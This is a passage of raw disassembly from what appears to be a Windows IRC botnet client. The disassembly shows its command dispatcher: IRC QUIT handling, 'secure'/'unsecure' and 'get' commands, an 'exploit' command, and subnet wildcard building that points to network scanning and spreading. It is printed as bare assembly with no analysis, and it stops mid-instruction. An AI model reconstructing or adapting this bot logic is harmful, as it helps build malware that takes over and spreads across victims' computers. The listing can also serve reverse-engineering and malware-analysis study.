sub_401AC7+212Ej lea eax, [ebp+var_49F4] push 104h push eax nop call near ptr 26A0000h push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_49F4] push eax call sub_41C151 add esp, 14h loc_403C33: ; CODE XREF: sub_401AC7+213Fj lea eax, [ebp+var_37D0] push eax call sub_41B960 cmp [ebp+eax+var_37D1], 5Ch pop ecx jnz short loc_403C5E lea eax, [ebp+var_37D0] push eax call sub_41B960 pop ecx mov [ebp+eax+var_37D1], bl loc_403C5E: ; CODE XREF: sub_401AC7+2181j push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A58] mov [ebp+var_3A5C], esi push 80h push eax call sub_41C100 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36BC], eax lea eax, [ebp+var_37D0] mov [ebp+var_36C0], edi push eax push [ebp+var_36CC] push esi call sub_40A9FA pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C190 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B3AD add esp, 20h mov [ebp+var_36C4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A5C] push ebx push eax push offset sub_40FAA3 push ebx push ebx call near ptr 26A0586h nop mov ecx, [ebp+var_36C4] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_403D12 loc_403D00: ; CODE XREF: sub_401AC7+2249j cmp [ebp+var_36B0], ebx jnz short loc_403D2D push 32h nop call near ptr 26A053Bh jmp short loc_403D00 ; --------------------------------------------------------------------------- loc_403D12: ; CODE XREF: sub_401AC7+2237j nop call near ptr 26A0EA9h push eax push offset unk_42C154 loc_403D1E: ; CODE XREF: sub_401AC7+23A9j ; sub_401AC7+4C27j ... lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch loc_403D2D: ; CODE XREF: sub_401AC7+223Fj ; sub_401AC7+238Dj ... cmp [ebp+var_8], ebx jnz loc_40830C push ebx push edi jmp loc_4071EA ; --------------------------------------------------------------------------- loc_403D3D: ; CODE XREF: sub_401AC7+1AA4j ; sub_401AC7+1AB9j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403D5C push edi call sub_41BEF9 test eax, eax pop ecx jz short loc_403D5C push edi call sub_41BEF9 pop ecx jmp short loc_403D61 ; --------------------------------------------------------------------------- loc_403D5C: ; CODE XREF: sub_401AC7+227Fj ; sub_401AC7+228Aj mov eax, dword_429080 loc_403D61: ; CODE XREF: sub_401AC7+2293j mov [ebp+var_1828], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403D78 lea eax, [ebp+var_C4] loc_403D78: ; CODE XREF: sub_401AC7+22A9j push eax lea eax, [ebp+var_1968] push 40h push eax call sub_41C100 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403D9A mov esi, offset byte_43B4B8 loc_403D9A: ; CODE XREF: sub_401AC7+22CCj push esi lea eax, [ebp+var_1928] push 100h push eax call sub_41C100 push [ebp+var_88] lea eax, [ebp+var_19E8] push 80h push eax call sub_41C100 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 18h mov [ebp+var_1814], eax lea eax, [ebp+var_1968] push eax mov [ebp+var_19EC], esi push [ebp+var_1828] mov [ebp+var_1818], edi push esi call sub_40A9FA pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C118 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B3AD add esp, 20h mov [ebp+var_1824], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19EC] push ebx push eax push offset dword_41140C push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_1824] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_403E64 loc_403E4E: ; CODE XREF: sub_401AC7+239Bj cmp [ebp+var_1810], ebx jnz loc_403D2D push 32h nop call near ptr 26A053Bh jmp short loc_403E4E ; --------------------------------------------------------------------------- loc_403E64: ; CODE XREF: sub_401AC7+2385j call near ptr 26A0EA9h nop push eax push offset unk_42C0DC jmp loc_403D1E ; --------------------------------------------------------------------------- loc_403E75: ; CODE XREF: sub_401AC7+1A7Aj ; sub_401AC7+1A8Fj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403E88 push esi call sub_41BEF9 jmp short loc_403E8F ; --------------------------------------------------------------------------- loc_403E88: ; CODE XREF: sub_401AC7+23B7j push 0Bh call sub_40B614 loc_403E8F: ; CODE XREF: sub_401AC7+23BFj cmp eax, ebx pop ecx jz loc_409643 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BD05 jmp loc_404356 ; --------------------------------------------------------------------------- loc_403EAF: ; CODE XREF: sub_401AC7+1A50j ; sub_401AC7+1A65j mov eax, dword_4C9220 cmp eax, ebx jz short loc_403ECC call eax test eax, eax jz short loc_403EC5 push offset unk_42C0B8 jmp short loc_403ED1 ; --------------------------------------------------------------------------- loc_403EC5: ; CODE XREF: sub_401AC7+23F5j push offset unk_42C08C jmp short loc_403ED1 ; --------------------------------------------------------------------------- loc_403ECC: ; CODE XREF: sub_401AC7+23EFj push offset unk_42C060 loc_403ED1: ; CODE XREF: sub_401AC7+23FCj ; sub_401AC7+2403j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 jmp loc_406C3F ; --------------------------------------------------------------------------- loc_403EE7: ; CODE XREF: sub_401AC7+1A26j ; sub_401AC7+1A3Bj call sub_40A91C test eax, eax jz short loc_403EF7 push offset unk_42C03C jmp short loc_403ED1 ; --------------------------------------------------------------------------- loc_403EF7: ; CODE XREF: sub_401AC7+2427j push offset unk_42C010 jmp short loc_403ED1 ; --------------------------------------------------------------------------- loc_403EFE: ; CODE XREF: sub_401AC7+19FCj ; sub_401AC7+1A11j cmp [ebp+var_8], ebx jnz short loc_403F1D push ebx push [ebp+var_4] push offset dword_42BFF8 push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_403F1D: ; CODE XREF: sub_401AC7+243Aj push ebx push [ebp+var_4] call sub_4186D4 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 push offset unk_42BFDC jmp loc_404222 ; --------------------------------------------------------------------------- loc_403F3F: ; CODE XREF: sub_401AC7+1893j ; sub_401AC7+18A8j push 0Ah call sub_40B5F5 test eax, eax pop ecx jle short loc_403F52 push offset unk_42BFB0 jmp short loc_403F73 ; --------------------------------------------------------------------------- loc_403F52: ; CODE XREF: sub_401AC7+2482j push [ebp+var_88] push [ebp+arg_4] call sub_41A152 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403F6E push offset unk_42BF88 jmp short loc_403F73 ; --------------------------------------------------------------------------- loc_403F6E: ; CODE XREF: sub_401AC7+249Ej push offset unk_42BF68 loc_403F73: ; CODE XREF: sub_401AC7+2489j ; sub_401AC7+24A5j ... lea eax, [ebp+var_2C4] push eax call sub_41C006 pop ecx pop ecx loc_403F81: ; CODE XREF: sub_401AC7+57CEj ; sub_401AC7+7124j cmp [ebp+var_8], ebx jnz short loc_403FA2 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_403F9A: ; CODE XREF: sub_401AC7+6D9Ej call sub_409862 add esp, 14h loc_403FA2: ; CODE XREF: sub_401AC7+24BDj ; sub_401AC7+2699j ... lea eax, [ebp+var_2C4] push eax call sub_415CEE jmp loc_4097D0 ; --------------------------------------------------------------------------- loc_403FB3: ; CODE XREF: sub_401AC7+1869j ; sub_401AC7+187Ej push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A5B9 jmp loc_404243 ; --------------------------------------------------------------------------- loc_403FCC: ; CODE XREF: sub_401AC7+183Fj ; sub_401AC7+1854j push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416F7A jmp loc_404243 ; --------------------------------------------------------------------------- loc_403FE9: ; CODE XREF: sub_401AC7+1815j ; sub_401AC7+182Aj or edi, 0FFFFFFFFh nop call near ptr 26B0D7Ah xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404012 push esi call sub_41BEF9 pop ecx mov edi, eax loc_404012: ; CODE XREF: sub_401AC7+2540j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40402B cmp edi, 0FFFFFFFFh jnz loc_409643 loc_40402B: ; CODE XREF: sub_401AC7+2559j push ebx call sub_41AD74 push eax lea eax, [ebp+var_2C4] push offset unk_42BF50 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 lea eax, [ebp+var_2C4] push eax call sub_415CEE loc_404068: ; CODE XREF: sub_401AC7+5E21j add esp, 28h jmp loc_409643 ; --------------------------------------------------------------------------- loc_404070: ; CODE XREF: sub_401AC7+17EBj ; sub_401AC7+1800j push 27h call sub_40B5F5 test eax, eax pop ecx jle short loc_4040A1 cmp [ebp+var_8], ebx jnz loc_401F6C push ebx push [ebp+var_4] push offset unk_42BF30 loc_40408E: ; CODE XREF: sub_401AC7+4FD2j push [ebp+var_88] push [ebp+arg_4] call sub_409862 jmp loc_408C05 ; --------------------------------------------------------------------------- loc_4040A1: ; CODE XREF: sub_401AC7+25B3j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41C100 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax mov [ebp+var_B40], ebx jz short loc_404102 push esi push offset aFull ; "full" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404102 mov [ebp+var_B40], 1 loc_404102: ; CODE XREF: sub_401AC7+261Ej ; sub_401AC7+262Fj lea eax, [ebp+var_2C4] push offset dword_42BF0C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B3AD add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset sub_419DD9 push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_404170 loc_40415A: ; CODE XREF: sub_401AC7+26A7j cmp [ebp+var_B34], ebx jnz loc_403FA2 push 32h nop call near ptr 26A053Bh jmp short loc_40415A ; --------------------------------------------------------------------------- loc_404170: ; CODE XREF: sub_401AC7+2691j call near ptr 26A0EA9h nop push eax lea eax, [ebp+var_2C4] push offset unk_42BED0 push eax call sub_41C006 add esp, 0Ch jmp loc_403FA2 ; --------------------------------------------------------------------------- loc_404190: ; CODE XREF: sub_401AC7+17C1j ; sub_401AC7+17D6j cmp [ebp+var_8], ebx jnz short loc_4041AF push ebx push [ebp+var_4] push offset unk_42BEB8 push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_4041AF: ; CODE XREF: sub_401AC7+26CCj push [ebp+arg_4] call dword_4C939C call dword_4C925C call sub_418857 push ebx nop call near ptr 77E75CB5h loc_4041CA: ; CODE XREF: sub_401AC7+1797j ; sub_401AC7+17ACj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AF2B pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 push offset unk_42BEA0 jmp short loc_404222 ; --------------------------------------------------------------------------- loc_4041F5: ; CODE XREF: sub_401AC7+176Dj ; sub_401AC7+1782j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B1DF add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 push offset unk_42BE88 loc_404222: ; CODE XREF: sub_401AC7+2473j ; sub_401AC7+272Cj call sub_415CEE loc_404227: ; CODE XREF: sub_401AC7+6E92j add esp, 18h jmp loc_409643 ; --------------------------------------------------------------------------- loc_40422F: ; CODE XREF: sub_401AC7+1743j ; sub_401AC7+1758j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415D8E loc_404243: ; CODE XREF: sub_401AC7+3C5j ; sub_401AC7+2500j ... add esp, 10h jmp loc_401F6C ; --------------------------------------------------------------------------- loc_40424B: ; CODE XREF: sub_401AC7+1719j ; sub_401AC7+172Ej cmp [ebp+var_C], ebx mov [ebp+var_1598], bl jz short loc_40428A mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40428A push esi push [ebp+var_C] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz short loc_40428A push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1598] push 80h push eax call sub_41C100 add esp, 10h loc_40428A: ; CODE XREF: sub_401AC7+278Dj ; sub_401AC7+2798j ... push [ebp+var_88] lea eax, [ebp+var_1618] push 80h push eax call sub_41C100 mov eax, [ebp+arg_4] push offset dword_42BE70 mov [ebp+var_161C], eax mov eax, [ebp+var_4] mov [ebp+var_1514], eax mov eax, [ebp+var_8] mov [ebp+var_1510], eax lea eax, [ebp+var_2C4] push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B3AD add esp, 20h mov [ebp+var_1518], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_161C] push ebx push eax push offset byte_415E01 push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_1518] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40432A loc_404314: ; CODE XREF: sub_401AC7+2861j cmp [ebp+var_150C], ebx jnz loc_401F6C push 32h nop call near ptr 26A053Bh jmp short loc_404314 ; --------------------------------------------------------------------------- loc_40432A: ; CODE XREF: sub_401AC7+284Bj nop call near ptr 26A0EA9h push eax push offset unk_42BE38 jmp loc_4097CA ; --------------------------------------------------------------------------- loc_40433B: ; CODE XREF: sub_401AC7+16EFj ; sub_401AC7+1704j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415C76 push offset unk_42BE20 call sub_415CEE loc_404356: ; CODE XREF: sub_401AC7+23E3j add esp, 10h jmp loc_409643 ; --------------------------------------------------------------------------- loc_40435E: ; CODE XREF: sub_401AC7+16C5j ; sub_401AC7+16DAj push [ebp+var_88] lea eax, [ebp+var_C5C] push 80h push eax call sub_41C100 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_C60], eax mov eax, [ebp+var_4] mov [ebp+var_BD4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_BD0], eax jz short loc_4043B8 push offset dword_42BE1C push esi call sub_41C7E0 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_BD8], eax jmp short loc_4043BE ; --------------------------------------------------------------------------- loc_4043B8: ; CODE XREF: sub_401AC7+28D5j mov [ebp+var_BD8], ebx loc_4043BE: ; CODE XREF: sub_401AC7+28EFj lea eax, [ebp+var_2C4] push offset dword_42BDFC push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B3AD add esp, 14h mov [ebp+var_BDC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C60] push ebx push eax push offset dword_40B418 push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_BDC] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40442C loc_404416: ; CODE XREF: sub_401AC7+2963j cmp [ebp+var_BCC], ebx jnz loc_406C63 push 32h nop call near ptr 26A053Bh jmp short loc_404416 ; --------------------------------------------------------------------------- loc_40442C: ; CODE XREF: sub_401AC7+294Dj nop call near ptr 26A0EA9h push eax push offset unk_42BDC0 jmp loc_4090AC ; --------------------------------------------------------------------------- loc_40443D: ; CODE XREF: sub_401AC7+1649j ; sub_401AC7+165Ej push offset a1221 ; "1221" lea eax, [ebp+var_2C4] push offset unk_42BDA8 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 20h jmp loc_406C63 ; --------------------------------------------------------------------------- loc_404474: ; CODE XREF: sub_401AC7+161Fj ; sub_401AC7+1634j push dword_4C9044 call sub_41AD74 push eax lea eax, [ebp+var_2C4] push offset unk_42BD7C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 24h jmp loc_406C63 ; --------------------------------------------------------------------------- loc_4044B2: ; CODE XREF: sub_401AC7+15F5j ; sub_401AC7+160Aj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4044E4 cmp [ebp+var_C], ebx jz short loc_4044F3 push esi push [ebp+var_C] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz short loc_4044F3 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_40981C add esp, 0Ch jmp short loc_4044F3 ; --------------------------------------------------------------------------- loc_4044E4: ; CODE XREF: sub_401AC7+29F4j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_40981C pop ecx pop ecx loc_4044F3: ; CODE XREF: sub_401AC7+29F9j ; sub_401AC7+2A08j ... push 0FFFFFFFEh jmp loc_401F6E ; --------------------------------------------------------------------------- loc_4044FA: ; CODE XREF: sub_401AC7+15CBj ; sub_401AC7+15E0j push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_40981C push offset unk_42BD2C call sub_415CEE add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401F6F ; --------------------------------------------------------------------------- loc_40451C: ; CODE XREF: sub_401AC7+15A1j ; sub_401AC7+15B6j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40981C push offset unk_42BCFC call sub_415CEE add esp, 0Ch jmp loc_4095B3 ; --------------------------------------------------------------------------- loc_40453B: ; CODE XREF: sub_401AC7+1577j ; sub_401AC7+158Cj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA8E jmp loc_4048FA ; --------------------------------------------------------------------------- loc_404551: ; CODE XREF: sub_401AC7+154Dj ; sub_401AC7+1562j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA3A jmp loc_4048FA ; --------------------------------------------------------------------------- loc_404567: ; CODE XREF: sub_401AC7+1523j ; sub_401AC7+1538j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B9CF jmp loc_4048FA ; --------------------------------------------------------------------------- loc_40457D: ; CODE XREF: sub_401AC7+14F9j ; sub_401AC7+150Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B901 jmp loc_4048FA ; --------------------------------------------------------------------------- loc_404593: ; CODE XREF: sub_401AC7+1454j ; sub_401AC7+1469j push [ebp+esi+var_8C] push 27h push offset dword_42BCEC push offset dword_42BCDC jmp loc_408CFE ; --------------------------------------------------------------------------- loc_4045AB: ; CODE XREF: sub_401AC7+142Aj ; sub_401AC7+143Fj push [ebp+esi+var_8C] push 24h push offset dword_42BCD0 push offset dword_42BCC0 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_4045C3: ; CODE XREF: sub_401AC7+1043j ; sub_401AC7+1058j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_4045E2 push edi call sub_41BEF9 test eax, eax pop ecx jz short loc_4045E2 push edi call sub_41BEF9 pop ecx jmp short loc_4045E7 ; --------------------------------------------------------------------------- loc_4045E2: ; CODE XREF: sub_401AC7+2B05j ; sub_401AC7+2B10j mov eax, dword_429074 loc_4045E7: ; CODE XREF: sub_401AC7+2B19j mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_40460C push esi loc_4045F9: ; CODE XREF: sub_401AC7+2B54j lea eax, [ebp+var_5A0] push 10h push eax call sub_41C100 add esp, 0Ch jmp short loc_404623 ; --------------------------------------------------------------------------- loc_40460C: ; CODE XREF: sub_401AC7+2B2Fj cmp [ebp+var_8FF], bl jz short loc_40461D lea eax, [ebp+var_C4] push eax jmp short loc_4045F9 ; --------------------------------------------------------------------------- loc_40461D: ; CODE XREF: sub_401AC7+2B4Bj mov [ebp+var_5A0], bl loc_404623: ; CODE XREF: sub_401AC7+2B43j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41C100 add esp, 0Ch push [ebp+var_590] push esi call sub_40A9FA pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BC98 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B3AD add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset dword_411B8C push ebx push ebx call near ptr 26A0586h nop mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4046D4 loc_4046BE: ; CODE XREF: sub_401AC7+2C0Bj cmp [ebp+var_57C], ebx jnz loc_401F6C push 32h nop call near ptr 26A053Bh jmp short loc_4046BE ; --------------------------------------------------------------------------- loc_4046D4: ; CODE XREF: sub_401AC7+2BF5j nop call near ptr 26A0EA9h push eax push offset dword_42BC5C jmp loc_4097CA ; --------------------------------------------------------------------------- loc_4046E5: ; CODE XREF: sub_401AC7+FF0j ; sub_401AC7+1005j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_404705 push esi call sub_41BEF9 test ax, ax pop ecx jz short loc_404705 push esi call sub_41BEF9 pop ecx jmp short loc_40470B ; --------------------------------------------------------------------------- loc_404705: ; CODE XREF: sub_401AC7+2C27j ; sub_401AC7+2C33j mov ax, word_429084 loc_40470B: ; CODE XREF: sub_401AC7+2C3Cj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41C100 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40A9FA pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BC30 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409862 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B3AD add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset dword_40EEEC push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4047DA loc_4047C4: ; CODE XREF: sub_401AC7+2D11j cmp [ebp+var_968], ebx jnz loc_401F6C push 32h nop call near ptr 26A053Bh jmp short loc_4047C4 ; --------------------------------------------------------------------------- loc_4047DA: ; CODE XREF: sub_401AC7+2CFBj call near ptr 26A0EA9h nop push eax push offset unk_42BBF0 jmp loc_4097CA ; --------------------------------------------------------------------------- loc_4047EB: ; CODE XREF: sub_401AC7+F9Cj ; sub_401AC7+FB1j ... push edi push offset aSecure ; "secure" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_404813 push edi push offset aSec ; "sec" call sub_41C7E0 pop ecx mov [ebp+var_AA8], ebx test eax, eax pop ecx jnz short loc_40481D loc_404813: ; CODE XREF: sub_401AC7+2D33j mov [ebp+var_AA8], 1 loc_40481D: ; CODE XREF: sub_401AC7+2D4Aj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41C100 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_AA8], ebx mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] mov [ebp+var_AA0], eax mov eax, offset aSecuring ; "Securing" jnz short loc_404864 mov eax, offset aUnsecuring ; "Unsecuring" loc_404864: ; CODE XREF: sub_401AC7+2D96j push eax push offset dword_42BBBC lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B3AD add esp, 1Ch mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_41A307 push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4048D8 loc_4048C2: ; CODE XREF: sub_401AC7+2E0Fj cmp [ebp+var_A9C], ebx jnz loc_40830C push 32h nop call near ptr 26A053Bh jmp short loc_4048C2 ; --------------------------------------------------------------------------- loc_4048D8: ; CODE XREF: sub_401AC7+2DF9j nop call near ptr 26A0EA9h push eax push offset dword_42BB80 jmp loc_4082FD ; --------------------------------------------------------------------------- loc_4048E9: ; CODE XREF: sub_401AC7+F72j ; sub_401AC7+F87j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41AB97 loc_4048FA: ; CODE XREF: sub_401AC7+2A85j ; sub_401AC7+2A9Bj ... add esp, 0Ch jmp loc_409643 ; --------------------------------------------------------------------------- loc_404902: ; CODE XREF: sub_401AC7+F48j ; sub_401AC7+F5Dj push offset unk_42BB30 jmp loc_40851D ; --------------------------------------------------------------------------- loc_40490C: ; CODE XREF: sub_401AC7+F1Ej ; sub_401AC7+F33j push offset aZxvsVrx ; "ZxVs VRX" push offset dword_42BB20 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_40491B: ; CODE XREF: sub_401AC7+EF4j ; sub_401AC7+F09j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40497B push esi call sub_41BEF9 cmp eax, ebx pop ecx jl short loc_404970 cmp eax, 3 jge short loc_404970 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_404965 lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42CD5C push eax call sub_41C006 add esp, 0Ch mov [esi], bl jmp loc_4081DE ; --------------------------------------------------------------------------- loc_404965: ; CODE XREF: sub_401AC7+2E7Dj push eax push offset unk_42BAF4 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_404970: ; CODE XREF: sub_401AC7+2E68j ; sub_401AC7+2E6Dj push eax push offset unk_42BAC8 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_40497B: ; CODE XREF: sub_401AC7+2E5Dj mov edi, [ebp+arg_18] xor esi, esi loc_404980: ; CODE XREF: sub_401AC7+2ED5j push [ebp+var_90] push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_4049A3 inc esi add edi, 80h cmp esi, 3 jl short loc_404980 jmp loc_4081DE ; --------------------------------------------------------------------------- loc_4049A3: ; CODE XREF: sub_401AC7+2EC9j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42CD5C jmp loc_406E56 ; --------------------------------------------------------------------------- loc_4049BD: ; CODE XREF: sub_401AC7+ECAj ; sub_401AC7+EDFj push [ebp+var_8C] push offset dword_42CCD4 call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403433 call sub_40B576 push ebx nop call near ptr 77E75CB5h loc_4049E3: ; CODE XREF: sub_401AC7+19A4j push offset aGet ; "get" push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_404A89 cmp dword_4CCAC0, ebx jz short loc_404A0F push offset dword_4CC4A0 push offset unk_42BA8C jmp loc_404A9B ; --------------------------------------------------------------------------- loc_404A0F: ; CODE XREF: sub_401AC7+2F37j push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] nop call near ptr 71AB157Eh movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E24] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41C006 lea eax, [ebp+var_E24] push eax lea eax, [ebp+var_2C4] push offset unk_42BA8C push eax call sub_41C006 add esp, 20h jmp loc_40348A ; --------------------------------------------------------------------------- loc_404A89: ; CODE XREF: sub_401AC7+2F2Bj push edi call dword_4C9344 cmp eax, 0FFFFFFFFh push edi jnz short loc_404AAF push offset unk_42BA4C loc_404A9B: ; CODE XREF: sub_401AC7+2F43j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch jmp loc_40348A ; --------------------------------------------------------------------------- loc_404AAF: ; CODE XREF: sub_401AC7+2FCDj push offset dword_4CC4A0 call sub_41C620 push edi lea eax, [ebp+var_2C4] push offset unk_42BA20 push eax mov dword_4CCAC0, 1 call sub_41C006 add esp, 14h jmp loc_40348A ; --------------------------------------------------------------------------- loc_404ADD: ; CODE XREF: sub_401AC7+198Fj push [ebp+arg_8] push offset aExploit ; "exploit" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_404BDA mov eax, [ebp+var_4] mov esi, 80h mov [ebp+var_13E8], eax mov eax, [ebp+var_8] mov [ebp+var_13E4], eax mov eax, [ebp+arg_4] mov [ebp+var_13F8], eax push offset aF ; "#f" lea eax, [ebp+var_1478] push esi push eax mov [ebp+var_13F0], 1 call sub_41C100 push offset aF 